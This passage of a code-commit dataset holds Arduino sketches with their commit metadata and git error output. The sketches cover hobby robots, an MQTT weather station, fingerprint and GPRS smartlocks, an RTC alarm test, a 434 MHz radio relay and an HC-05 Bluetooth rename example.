client.write(\"\\r\\n\");\n digitalWrite(D7, LOW);\n return 1; \/\/ successfully connected\n } else {\n digitalWrite(D7, LOW);\n return -1; \/\/ failed to connect\n }\n\n}\n\nvoid setup() {\n\n pinMode(D7, OUTPUT);\n \n Spark.function(\"connect\", connectToMyServer);\n digitalWrite(D7, HIGH);\n delay(25000);\n digitalWrite(D7, LOW);\n\n\n}\n\nvoid loop() {\n if (client.connected()) {\n if (client.available()) {\n \/\/ char pin = client.read() - '0' + D0;\n \/\/char level = client.read();\n if (client.read()) {\n digitalWrite(D7, HIGH);\n } else {\n digitalWrite(D7, LOW);\n }\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'new.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9e0c190cbdf2c15fb450870509b0898c8e310e7f","subject":"Initial commit","message":"Initial commit\n\nWorking bluetooth controls and obstacle avoidance\n","repos":"jarnovirta\/arduinoRobot","old_file":"bluetoothOhjausBot.ino","new_file":"bluetoothOhjausBot.ino","new_contents":"\n#include <Servo.h> \n#include <Wire.h>\n#include <Adafruit_MotorShield.h>\n#include \"utility\/Adafruit_PWMServoDriver.h\"\n#include <SonarSRF08.h>\n\n\n#define MAIN_08_ADDRESS (0x70)\n#define GAIN_REGISTER 0x09\n#define LOCATION_REGISTER 0x8C\n\/\/ #include <SoftwareSerial.h> \n\nchar unit = 'c'; \/\/ 'i' for inches, 'c' for centimeters, 'm' for micro-seconds\n\nint tiltServoAngle = 90;\nint panServoAngle = 90;\nint previousPanServoAngle = 140;\nunsigned long sonarPanLastMovement = millis();\n SonarSRF08 MainSonar;\n \n Servo panServo; \/\/ create servo object to control a servo \n \/\/ a maximum of eight servo objects can be created \n Servo tiltServo;\n\n \/\/ Motor settings\n Adafruit_MotorShield AFMS = Adafruit_MotorShield(); \n \n Adafruit_DCMotor *leftRearMotor = AFMS.getMotor(1);\n Adafruit_DCMotor *rightRearMotor = AFMS.getMotor(2);\n Adafruit_DCMotor *rightFrontMotor = AFMS.getMotor(3);\n Adafruit_DCMotor *leftFrontMotor = AFMS.getMotor(4);\n \n int controlMode; \/\/ 1=avoid obstacles; 2=Bluetooth control\n \n \/\/ Bluetooth settings\n \n \/* int bluetoothTx = 4; \/\/ TX-O pin of bluetooth mate, Arduino D2\n int bluetoothRx = 5; \/\/ RX-I pin of bluetooth mate, Arduino D3 *\/\n \nvoid setup() \n{ \n MainSonar.connect(MAIN_08_ADDRESS, GAIN_REGISTER, LOCATION_REGISTER);\n \n AFMS.begin();\n setRobotSpeed(80,80);\n tiltServo.attach(9); \/\/ attaches the servo on pin 9 to the servo object \n panServo.attach(10);\n setPanAndTilt(panServoAngle, tiltServoAngle);\n \n Serial.begin(115200); \n \n Serial.print(\"$\");\n Serial.print(\"$\");\n Serial.print(\"$\");\n \n delay(100); \n \n \/* bluetooth.begin(115200);\n \n bluetooth.begin(115200); \/\/ The Bluetooth Mate defaults to 115200bps\n bluetooth.print(\"$\"); \/\/ Print three times individually\n bluetooth.print(\"$\");\n bluetooth.print(\"$\"); \/\/ Enter command mode\n delay(100); \/\/ Short delay, wait for the Mate to send back CMD\n bluetooth.println(\"U,9600,N\"); \/\/ Temporarily Change the baudrate to 9600, no parity\n \/\/ 115200 can be too fast at times for NewSoftSerial to relay the data reliably\n bluetooth.begin(9600); \/\/ Start bluetooth serial at 9600 \n *\/\n controlMode = 2; \/\/ Set robot to Bluetooth control mode\n \n} \n \n \nvoid loop() \n{ \n\n if(Serial.available() > 0) \/\/ If the bluetooth sent any characters\n {\n char command = Serial.read();\n \n if (command == 'w') {\n AFMS.begin();\n stopRobot();\n controlMode = 2;\n tiltServoAngle = 90;\n panServoAngle = 90;\n setPanAndTilt(panServoAngle, tiltServoAngle);\n }\n \/\/ Bluetooth control\n if (controlMode == 2) {\n \n switch(command) {\n case 'F':\n AFMS.begin();\n moveForward(); \n break; \n \n case 'B':\n AFMS.begin();\n moveBackward();\n break; \n \n case 'L':\n AFMS.begin();\n turnLeft();\n break; \n \n case 'R':\n AFMS.begin();\n turnRight();\n break; \n case 'S':\n AFMS.begin();\n stopRobot();\n break; \n case 'W':\n AFMS.begin();\n stopRobot();\n controlMode = 1;\n tiltServoAngle = 120;\n panServoAngle = 90;\n setPanAndTilt(panServoAngle, tiltServoAngle);\n \n }\n }\n \n }\n \n \n\/\/ Automatic obstacle avoidance mode\n if (controlMode == 1) {\n unsigned long time = millis();\n \n if (time - sonarPanLastMovement > 400) {\n sonarPanLastMovement = time;\n \n if (panServoAngle == 90 && previousPanServoAngle == 140) {\n panServoAngle = 40;\n previousPanServoAngle = 90;\n }\n else if (panServoAngle == 90 && previousPanServoAngle == 40) {\n panServoAngle = 140;\n previousPanServoAngle = 40;\n }\n else if (panServoAngle == 140) {\n panServoAngle = 90;\n previousPanServoAngle = 140;\n }\n else {\n panServoAngle = 90;\n previousPanServoAngle = 40;\n }\n \n \n setPanAndTilt(panServoAngle, tiltServoAngle);\n \n float sensorReading = 0;\n sensorReading = MainSonar.getRange(unit);\n \n if (sensorReading > 30) {\n AFMS.begin();\n moveBackward();\n }\n if (sensorReading <=30 && sensorReading != 0) {\n AFMS.begin(); \n turnLeft();\n delay(700);\n \n } \n \n \n \n }\n }\n }\n \n \n\nvoid setPanAndTilt(int pan, int tilt) {\n panServo.write(pan);\n tiltServo.write(tilt); \n }\n \nvoid setRobotSpeed(int leftWheelsSpeed, int rightWheelsSpeed) {\n leftRearMotor->setSpeed(leftWheelsSpeed);\n rightRearMotor->setSpeed(rightWheelsSpeed);\n rightFrontMotor->setSpeed(rightWheelsSpeed);\n leftFrontMotor->setSpeed(leftWheelsSpeed); \n }\nvoid moveForward() {\n leftRearMotor->run(FORWARD);\n rightRearMotor->run(FORWARD);\n rightFrontMotor->run(FORWARD);\n leftFrontMotor->run(FORWARD);\n setRobotSpeed(80,80);\n\n }\n \nvoid moveBackward() {\n leftRearMotor->run(BACKWARD);\n rightRearMotor->run(BACKWARD);\n rightFrontMotor->run(BACKWARD);\n leftFrontMotor->run(BACKWARD);\n setRobotSpeed(80,80);\n }\n\nvoid turnLeft() {\n leftRearMotor->run(BACKWARD);\n rightRearMotor->run(FORWARD);\n rightFrontMotor->run(FORWARD);\n leftFrontMotor->run(BACKWARD);\n setRobotSpeed(80, 80);\n \n \n }\n \nvoid turnRight() {\n leftRearMotor->run(FORWARD);\n rightRearMotor->run(BACKWARD);\n rightFrontMotor->run(BACKWARD);\n leftFrontMotor->run(FORWARD);\n setRobotSpeed(80, 80);\n \n }\n\nvoid stopRobot() {\n leftRearMotor->run(RELEASE);\n rightRearMotor->run(RELEASE);\n rightFrontMotor->run(RELEASE);\n leftFrontMotor->run(RELEASE);\n \n }\n\n \n \n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'bluetoothOhjausBot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c704be58aab2f41e7f010a0e37f2af320d29470c","subject":"Initial implementation allowing us to connect to a mqtt server and report the station status.","message":"Initial implementation allowing us to connect to a mqtt server and report the station status.\n","repos":"jaafreitas\/weather-station,jaafreitas\/weather-station,jaafreitas\/weather-station","old_file":"station\/station.ino","new_file":"station\/station.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n\nconst char* ssid = \"ssid\";\nconst char* password = \"password\";\n\nconst char* mqtt_server = \"mqtt_server\";\n\nchar stationID[10];\n\nWiFiClient wifiClient;\nPubSubClient client(wifiClient);\n\nvoid setup() {\n Serial.begin(115200);\n \n sprintf(stationID, \"%d\", ESP.getChipId());\n\n setup_wifi();\n\n client.setServer(mqtt_server, 1883);\n mqtt_connect();\n}\n\nvoid setup_wifi() {\n Serial.printf(\"\\nConnecting station %s to SSID %s\", stationID, ssid);\n\n WiFi.mode(WIFI_STA);\n WiFi.disconnect();\n WiFi.begin(ssid, password);\n\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\" Ok.\");\n \n Serial.printf(\"IP address: %s\\n\", WiFi.localIP().toString().c_str());\n}\n\nvoid mqtt_connect() {\n while (!client.connected()) {\n Serial.printf(\"Attempting MQTT connection on %s...\", mqtt_server);\n if (client.connect(stationID)) {\n Serial.println(\" Ok.\");\n\n \/\/ Once connected, publish an announcement...\n char msg[100];\n sprintf(msg, \"station\/%s\/status\", stationID);\n client.publish(msg, \"on\");\n } else {\n Serial.printf(\" error: %s. Trying again in 10 seconds.\\n\", client.state());\n delay(10000);\n }\n }\n}\n\nvoid loop() {\n if (!client.connected()) {\n mqtt_connect();\n }\n client.loop();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'station\/station.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a610e9fccecab065388e6673a89d427c6900347c","subject":"Code for fingerprint working but slow to response","message":"Code for fingerprint working but slow to response\n\nuse different library file Adafruit_Fingerprint.h to code to work\n","repos":"NehaArefin\/MouseTrap","old_file":"FingerPrint.ino","new_file":"FingerPrint.ino","new_contents":"#include <Adafruit_Fingerprint.h>\n#include <SoftwareSerial.h>\n\nint getFingerprintIDez();\nbool locked = true;\nSoftwareSerial mySerial(11, 12);\nAdafruit_Fingerprint finger = Adafruit_Fingerprint(&mySerial);\nint SolenoidPin = 2;\nint LedPin = 3;\n\nvoid setup()\n{\n pinMode(SolenoidPin, OUTPUT);\n pinMode(LedPin, OUTPUT);\n digitalWrite(LedPin, HIGH);\n Serial.begin(9600);\n finger.begin(57600);\n}\nvoid loop()\n{\n getFingerprintIDez();\n}\n\nint getFingerprintIDez() {\n uint8_t p = finger.getImage();\n if (p != FINGERPRINT_OK) return -1;\n\n p = finger.image2Tz();\n if (p != FINGERPRINT_OK) return -1;\n\n p = finger.fingerFastSearch();\n if (p != FINGERPRINT_OK) return -1;\n\n if (locked == true) {\n digitalWrite(SolenoidPin, HIGH);\n locked = false;\n delay(2000);\n\n } else {\n digitalWrite(SolenoidPin, LOW);\n locked = true;\n delay(2000);\n }\n return finger.fingerID;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'FingerPrint.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1e074a4d6f8d8f328b67e4910218b282a8c4e5a4","subject":"add sketch_smartlock.ino","message":"add sketch_smartlock.ino\n","repos":"yunbademo\/yunba-smartlock,yunbademo\/yunba-smartlock","old_file":"sketch_smartlock\/sketch_smartlock.ino","new_file":"sketch_smartlock\/sketch_smartlock.ino","new_contents":"#include \"SPI.h\"\n#include <ArduinoJson.h>\n#include <LGPRS.h>\n#include <LGPRSClient.h>\n#include <LGPS.h>\n#include <MQTTClient.h>\n\ntypedef enum {\n STATUS_INVALID,\n STATUS_INIT_GPRS,\n STATUS_INIT_YUNBA,\n STATUS_IDLE\n} STATUS;\n\nSTATUS g_status = STATUS_INVALID;\n\nstatic const char *g_gprs_apn = \"3gnet\";\nstatic const char *g_gprs_username = \"\";\nstatic const char *g_gprs_password = \"\";\n\nstatic const char *g_appkey = \"56a0a88c4407a3cd028ac2fe\";\nstatic const char *g_alias = \"lock_102030002\";\nstatic const char *g_report_topic = \"lock_report\";\n\nstatic char g_client_id[64];\nstatic char g_username[32];\nstatic char g_password[32];\n\nstatic LGPRSClient g_net_client;\nstatic MQTTClient g_mqtt_client;\nstatic StaticJsonBuffer<192> g_json_buf;\n\nstatic bool get_ip_port(const char *url, char *ip, uint16_t *port) {\n char *p = strstr(url, \"tcp:\/\/\");\n if (p) {\n p += 6;\n char *q = strstr(p, \":\");\n if (q) {\n int len = strlen(p) - strlen(q);\n if (len > 0) {\n memcpy(ip, p, len);\n *port = atoi(q + 1);\n Serial.print(\"ip: \");\n Serial.println(ip);\n Serial.print(\"port: \");\n Serial.println(*port);\n return true;\n }\n }\n }\n return false;\n}\n\nstatic bool get_host_v2(const char *appkey, char *url) {\n uint8_t buf[256];\n bool rc = false;\n LGPRSClient net_client;\n while (0 == net_client.connect(\"tick-t.yunba.io\", 9977)) {\n Serial.println(\"reconnect tick\");\n delay(500);\n }\n\n String data = \"{\\\"a\\\":\\\"\" + String(appkey) + \"\\\",\\\"n\\\":\\\"1\\\",\\\"v\\\":\\\"v1.0\\\",\\\"o\\\":\\\"1\\\"}\";\n int json_len = data.length();\n int len;\n\n buf[0] = 1;\n buf[1] = (uint8_t)((json_len >> 8) & 0xff);\n buf[2] = (uint8_t)(json_len & 0xff);\n len = 3 + json_len;\n memcpy(buf + 3, data.c_str(), json_len);\n net_client.flush();\n net_client.write(buf, len);\n\n Serial.println(\"wait data\");\n while (!net_client.available()) {\n Serial.println(\".\");\n delay(100);\n }\n\n memset(buf, 0, 256);\n int v = net_client.read(buf, 256);\n if (v > 0) {\n len = (uint16_t)(((uint8_t)buf[1] << 8) | (uint8_t)buf[2]);\n if (len == strlen((char *)(buf + 3))) {\n Serial.println((char *)(&buf[3]));\n JsonObject& root = g_json_buf.parseObject((char *)&buf[3]);\n if (!root.success()) {\n Serial.println(\"parseObject() failed\");\n goto exit;\n }\n strcpy(url, root[\"c\"]);\n Serial.println(url);\n rc = true;\n }\n }\nexit:\n net_client.stop();\n return rc;\n}\n\nstatic bool setup_with_appkey_and_device_id(const char* appkey, const char *device_id) {\n uint8_t buf[256];\n bool rc = false;\n LGPRSClient net_client;\n\n while (0 == net_client.connect(\"reg-t.yunba.io\", 9944)) {\n Serial.println(\"reconnect reg\");\n delay(1000);\n }\n delay(100);\n\n String data;\n if (device_id == NULL)\n data = \"{\\\"a\\\": \\\"\" + String(appkey) + \"\\\", \\\"p\\\":4}\";\n else\n data = \"{\\\"a\\\": \\\"\" + String(appkey) + \"\\\", \\\"p\\\":4, \\\"d\\\": \\\"\" + String(device_id) + \"\\\"}\";\n int json_len = data.length();\n int len;\n\n buf[0] = 1;\n buf[1] = (uint8_t)((json_len >> 8) & 0xff);\n buf[2] = (uint8_t)(json_len & 0xff);\n len = 3 + json_len;\n memcpy(buf + 3, data.c_str(), json_len);\n net_client.flush();\n net_client.write(buf, len);\n\n Serial.println(\"wait data\");\n while (!net_client.available()) {\n Serial.println(\".\");\n delay(100);\n }\n\n memset(buf, 0, 256);\n int v = net_client.read(buf, 256);\n if (v > 0) {\n len = (uint16_t)(((uint8_t)buf[1] << 8) | (uint8_t)buf[2]);\n if (len == strlen((char *)(buf + 3))) {\n Serial.println((char *)(&buf[3]));\n JsonObject& root = g_json_buf.parseObject((char *)&buf[3]);\n if (!root.success()) {\n Serial.println(\"parseObject() failed\");\n net_client.stop();\n return false;\n }\n strcpy(g_username, root[\"u\"]);\n strcpy(g_password, root[\"p\"]);\n strcpy(g_client_id, root[\"c\"]);\n rc = true;\n }\n }\n\n net_client.stop();\n return rc;\n}\n\nstatic void set_alias(const char *alias) {\n g_mqtt_client.publish(\",yali\", alias);\n}\n\nstatic void init_gprs() {\n Serial.println(\"attaching gprs\");\n while (!LGPRS.attachGPRS(g_gprs_apn, g_gprs_username, g_gprs_password)) {\n Serial.println(\".\");\n delay(1000);\n }\n Serial.println(\"gprs ok\");\n LGPS.powerOn();\n delay(2000);\n g_status = STATUS_INIT_YUNBA;\n}\n\nstatic void init_yunba() {\n char url[32] = {0};\n char ip[32] = {0};\n uint16_t port = 0;\n\n Serial.println(\"get_host_v2\");\n get_host_v2(g_appkey, url);\n Serial.println(\"setup_with_appkey_and_device_id\");\n setup_with_appkey_and_device_id(g_appkey, g_alias);\n Serial.println(\"get_ip_port\");\n get_ip_port(url, ip, &port);\n Serial.println(\"mqtt begin\");\n g_mqtt_client.begin(\"182.92.180.87\", 1883, g_net_client);\n\n Serial.println(\"mqtt connect\");\n while (!g_mqtt_client.connect(g_client_id, g_username, g_password)) {\n Serial.println(\".\");\n LGPRS.attachGPRS(g_gprs_apn, g_gprs_username, g_gprs_password);\n }\n\n Serial.println(\"yunba ok\");\n set_alias(g_alias);\n\n g_status = STATUS_IDLE;\n}\n\n\/* messageReceived and extMessageReceived must be defined with no 'static', because MQTTClient use them *\/\nvoid messageReceived(String topic, String payload, char * bytes, unsigned int length) {\n Serial.println(\"message:\");\n Serial.print(topic);\n Serial.print(\" - \");\n Serial.print(payload);\n}\n\nvoid extMessageReceived(EXTED_CMD cmd, int status, String payload, unsigned int length) {\n Serial.println(\"ext message:\");\n Serial.print(cmd);\n Serial.print(\" - \");\n Serial.print(payload);\n}\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n \/\/ delay(10000);\n Serial.println(\"setup...\");\n\n g_status = STATUS_INIT_GPRS;\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\/\/ Serial.println(\"loop...\");\n switch (g_status) {\n case STATUS_INIT_GPRS:\n init_gprs();\n break;\n case STATUS_INIT_YUNBA:\n init_yunba();\n break;\n case STATUS_IDLE:\n \/\/ g_mqtt_client.loop();\n break;\n default:\n Serial.print(\"unknown status:\");\n Serial.println(g_status);\n break;\n }\n delay(100);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch_smartlock\/sketch_smartlock.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9659d1696eb1e1e9d601e99b0dc82d7142ae3376","subject":"Added tests directory, created test arduino script for getAXTime methods","message":"Added tests directory, created test arduino script for getAXTime methods\n","repos":"NorthernWidget\/DS3231,NorthernWidget\/DS3231","old_file":"tests\/getAXTimeTest\/getAXTimeTest.ino","new_file":"tests\/getAXTimeTest\/getAXTimeTest.ino","new_contents":"\/*\ngetAXTimeTest.ino\nJacob Nuernberg\n08\/22\n\nTesting getAXTimeMethods.\nCode should generate the following output every 5s on the Serial Monitor:\n-> Initialize AlarmBits: 0\n-> getA1Time(): 1110\n-> getA2Time(): 1111110\n-> getA1Time(): 1110\n-> getA2Time(): 1110000\n\nTested on:\n- Arduino nano\n\n*\/\n\n#include <DS3231.h>\n#include <Wire.h>\n\n\/\/ Setup clock\nDS3231 myRTC;\n\n\nvoid setup() {\n \/\/ Begin I2C communication\n Wire.begin();\n\n \/\/ Begin Serial communication\n Serial.begin(57600);\n\n \/\/ Setup alarm one to fire every minute\n \/\/ No need to turn Alarm one on.\n myRTC.turnOffAlarm(1);\n myRTC.setA1Time(0, 0, 0, 0, 0b01111110, false, false, false);\n myRTC.checkIfAlarm(1);\n\n \/\/ Setup alarm two to fire every minute\n \/\/ No need to turn Alarm two on.\n myRTC.turnOffAlarm(2);\n myRTC.setA2Time(0, 0, 0, 0b01111110, false, false, false);\n myRTC.checkIfAlarm(2);\n}\n\nvoid loop() {\n \/\/ Initialize AlarmBits\n byte AlarmBits = 0x0;\n Serial.print(\"Initialize AlarmBits: \");\n Serial.println(AlarmBits, BIN);\n\n \/\/ Initialize Others\n byte ADay, AHour, AMinute, ASecond;\n bool ADy, Ah12, APM;\n\n \/\/ getA1Time (not clearing).\n \/\/ Expected AlarmBits = 0x(0000)1110\n myRTC.getA1Time(ADay, AHour, AMinute, ASecond, AlarmBits, ADy, Ah12, APM);\n Serial.print(\"getA1Time(): \");\n Serial.println(AlarmBits, BIN);\n\n \/\/ getA2Time (not clearing).\n \/\/ Expected AlarmBits = 0x01111110\n myRTC.getA2Time(ADay, AHour, AMinute, AlarmBits, ADy, Ah12, APM);\n Serial.print(\"getA2Time(): \");\n Serial.println(AlarmBits, BIN);\n\n \/\/ getA1Time (clearing).\n \/\/ Expected AlarmBits = 0x(0000)1110\n myRTC.getA1Time(ADay, AHour, AMinute, ASecond, AlarmBits, ADy, Ah12, APM, true);\n Serial.print(\"getA1Time(): \");\n Serial.println(AlarmBits, BIN);\n\n \/\/ getA2Time (clearing).\n \/\/ Expected AlarmBits = 0x01110000\n myRTC.getA2Time(ADay, AHour, AMinute, AlarmBits, ADy, Ah12, APM, true);\n Serial.print(\"getA2Time(): \");\n Serial.println(AlarmBits, BIN);\n delay(5000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tests\/getAXTimeTest\/getAXTimeTest.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"d5c136f62016ac6add50e76cb98e077581c385ab","subject":"added radio_434 firmware for relay app","message":"added radio_434 firmware for relay app\n","repos":"volzotan\/django-howl,volzotan\/django-howl,volzotan\/django-howl","old_file":"radio_434\/radio_434.ino","new_file":"radio_434\/radio_434.ino","new_contents":"#include <SPI.h>\n#include <Ethernet.h>\n\nbyte mac[] = {0xDE, 0xED, 0xBA, 0xEE, 0xFE, 0xEA};\n\nEthernetServer server(80);\n\nEthernetClient client;\nString ethernetBuffer;\n\nchar c;\nint maxLengthCounter = 0;\n\n#define SWITCHON \"10\"\n#define SWITCHOFF \"01\"\n\n#define SENDER_DATA_PIN A0\n\n\/\/ 10101 00100 10 x\n\/\/ house code receiver command sync\n\nvoid setup() {\n pinMode(SENDER_DATA_PIN, OUTPUT);\n \n Ethernet.begin(mac);\n server.begin();\n \n Serial.begin(9600);\n}\n\nvoid loop() {\n if (!client) {\n client = server.available();\n } else {\n if (client.connected()) {\n if (client.available()) {\n c = client.read();\n \n \/\/ Serial.print(c);\n \n if (c == '\\n') { \/\/ although it should probably be <CR><LF> \n triggerEtherCommand(); \n } else {\n ethernetBuffer += c;\n maxLengthCounter++;\n }\n \n if (maxLengthCounter > 100) {\n client.println(\"ERROR command length exceeded\");\n closeConnection();\n }\n \n }\n } else {\n closeConnection();\n }\n }\n}\n\nvoid triggerEtherCommand() {\n if (ethernetBuffer.substring(0,4) == \"SEND\") {\n sendCode(ethernetBuffer.substring(5));\n }\n \n maxLengthCounter = 0;\n ethernetBuffer = \"\";\n closeConnection();\n}\n\nvoid closeConnection() {\n maxLengthCounter = 0;\n ethernetBuffer = \"\";\n \/\/ give the client time to receive the data\n delay(1);\n \/\/ close the connection:\n client.stop();\n}\n \nboolean sendCode(String code){\n for(short z = 0; z<7; z++){ \/\/ repeat the code 7x\n for(short i = 0; i<12; i++){ \/\/ codelength 12 bits\n sendByte(code[i]);\n }\n sendByte('x'); \/\/ send sync code\n}\n \nvoid sendByte(char i) {\n switch(i){\n case '0':{\n digitalWrite(SENDER_DATA_PIN,HIGH);\n wait(1); \n digitalWrite(SENDER_DATA_PIN,LOW);\n wait(3);\n digitalWrite(SENDER_DATA_PIN,HIGH);\n wait(3);\n digitalWrite(SENDER_DATA_PIN,LOW);\n wait(1);\n return;\n }\n case '1':{ \n digitalWrite(SENDER_DATA_PIN,HIGH);\n wait(1);\n digitalWrite(SENDER_DATA_PIN,LOW);\n wait(3);\n digitalWrite(SENDER_DATA_PIN,HIGH);\n wait(1);\n digitalWrite(SENDER_DATA_PIN,LOW);\n wait(3);\n return;\n }\n case 'x':{\n digitalWrite(SENDER_DATA_PIN,HIGH);\n wait(1);\n digitalWrite(SENDER_DATA_PIN,LOW);\n wait(31);\n }\n }\n}\n \nvoid wait(int x) {\n delayMicroseconds(x*350); \/\/ wait x*350us\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'radio_434\/radio_434.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"82a07c7bf5e0292952abbf899cc408da7c41bb9f","subject":"Fixed some compile error.","message":"Fixed some compile error.\n","repos":"ExiaSR\/SnakeRobot,PeterL328\/SnakeRobot,Robot-Club\/SnakeRobot,PeterL328\/SnakeRobot,Robot-Club\/SnakeRobot","old_file":"Arduino code\/SnakeBot\/SnakeBot.ino","new_file":"Arduino code\/SnakeBot\/SnakeBot.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'code\/SnakeBot\/SnakeBot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bb5aa4e31e2a78b6b8d11df21f4cc2b811eb90a0","subject":"Update SnakeBot.ino","message":"Update SnakeBot.ino","repos":"PeterL328\/SnakeRobot,Robot-Club\/SnakeRobot,Robot-Club\/SnakeRobot,ExiaSR\/SnakeRobot,PeterL328\/SnakeRobot","old_file":"Arduino code\/SnakeBot\/SnakeBot.ino","new_file":"Arduino code\/SnakeBot\/SnakeBot.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'code\/SnakeBot\/SnakeBot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3b084c1b4ee4df42e683cbd274a6a32823d021f0","subject":"3368 Deselect the SD card in W5200 sketch.","message":"3368 Deselect the SD card in W5200 sketch.\n","repos":"myDevicesIoT\/Cayenne-Arduino-Library,myDevicesIoT\/Cayenne-Arduino-Library,myDevicesIoT\/Cayenne-Arduino-Library,myDevicesIoT\/Cayenne-Arduino-Library","old_file":"examples\/InternetConnections\/EthernetShieldW5200\/EthernetShieldW5200.ino","new_file":"examples\/InternetConnections\/EthernetShieldW5200\/EthernetShieldW5200.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/myDevicesIoT\/Cayenne-Arduino-Library.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f21805c042f96748829c71e400cbdc5817b0c029","subject":"Example: change device name","message":"Example: change device name\n\nDevelopment version with debug statements.\n","repos":"jdunmire\/HC05","old_file":"Examples\/changeID\/changeID.ino","new_file":"Examples\/changeID\/changeID.ino","new_contents":"\/*\n * Change the BT device name\n *\n * This works with a Bluetooth terminal. The user is prompted for a new\n * name and the input is programmed on the HC-05 module as the device\n * name.\n *\n *\/\n#include <Arduino.h>\n#include \"HC05.h\"\n\n\/*\n * Configure this sketch to work with either a software or a hardware\n * serial port, as configured in HC05.h\n *\/\n#ifdef HC05_SOFTWARE_SERIAL\n#include <SoftwareSerial.h>\nHC05 myHC05 = HC05(3, 2, 4, 5); \/\/ cmd, state, rx, tx\n#else\nHC05 myHC05 = HC05(3, 2); \/\/ cmd, state\n#endif\n\nString NewNameCmd(\"AT+NAME=\");\n\nvoid setup()\n{\n DEBUG_BEGIN(57600);\n delay(3000);\n unsigned long baud;\n\n baud = myHC05.findBaud();\n DEBUG_PRINTLN(baud);\n}\n\nvoid loop(){\n char buffer[32];\n size_t recvd = 0;\n bool waiting = true;\n String newName;\n\n myHC05.println(\"\");\n myHC05.print(\"New name? \");\n\n \/\/ Use a timeout that will give reasonablly quick response to the user.\n myHC05.setTimeout(100);\n while (waiting)\n {\n if (myHC05.available())\n {\n recvd = myHC05.readBytes(buffer, 32);\n for (size_t i = 0; i < recvd; i++)\n {\n if (buffer[i] != '\\n')\n {\n newName += buffer[i];\n myHC05.print(buffer[i]);\n }\n else\n {\n myHC05.println(\" \");\n waiting = false;\n break;\n }\n }\n }\n delay(100);\n }\n\n newName.toCharArray(buffer, 32);\n DEBUG_PRINTLN(buffer);\n newName = NewNameCmd + newName;\n newName.toCharArray(buffer, 32);\n DEBUG_PRINTLN(buffer);\n\n myHC05.flush();\n if (myHC05.cmd(buffer, 1000))\n {\n DEBUG_PRINTLN(\"Success\");\n myHC05.println(\"Name changed.\");\n myHC05.println(\"Reconnect or rescan to see the result.\");\n myHC05.println(\"Disconnecting...\");\n myHC05.flush();\n myHC05.cmd(\"AT+DISC\", 1000);\n }\n else\n {\n DEBUG_PRINTLN(\"Failed\");\n myHC05.println(\"Name NOT changed.\");\n }\n \n \/\/ Send a count to the port just to indicate activity.\n for (uint8_t i = 0; true; i++)\n {\n if (i == 0)\n {\n myHC05.println(\"\");\n }\n myHC05.print(i);\n myHC05.print('\\r');\n delay(1000);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Examples\/changeID\/changeID.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a15b143f7b48e5b8022fd60abf7b002387d9e420","subject":"added Mqtt client to Arduino test sketch","message":"added Mqtt client to Arduino test sketch\n","repos":"chosn\/Huehnerklappe,chosn\/Huehnerklappe,chosn\/Huehnerklappe","old_file":"FW\/sketch_mar09a\/sketch_mar09a.ino","new_file":"FW\/sketch_mar09a\/sketch_mar09a.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/chosn\/Huehnerklappe.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5d767a787d582b60d30f46d3019305879ae2269a","subject":"Started chinabot build","message":"Started chinabot build\n","repos":"sgooding\/ChinaBot","old_file":"ChinaBot\/ChinaBot.ino","new_file":"ChinaBot\/ChinaBot.ino","new_contents":"\/*\n * ChinaBot\n * -driver for my little robot\n *\/\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ChinaBot\/ChinaBot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3d81fdb519ae322e46670227ab8434508867e5b0","subject":"Example: Add Bluetooth example of App with BLE debugging","message":"Example: Add Bluetooth example of App with BLE debugging\n","repos":"Tympan\/Tympan_Library,Tympan\/Tympan_Library,Tympan\/Tympan_Library","old_file":"examples\/07-Bluetooth\/BasicGain_wApp_BLEdebug\/BasicGain_wApp_BLEprint.ino","new_file":"examples\/07-Bluetooth\/BasicGain_wApp_BLEdebug\/BasicGain_wApp_BLEprint.ino","new_contents":"\/*\n* BasicGain_wApp_BLEdebug\n*\n* 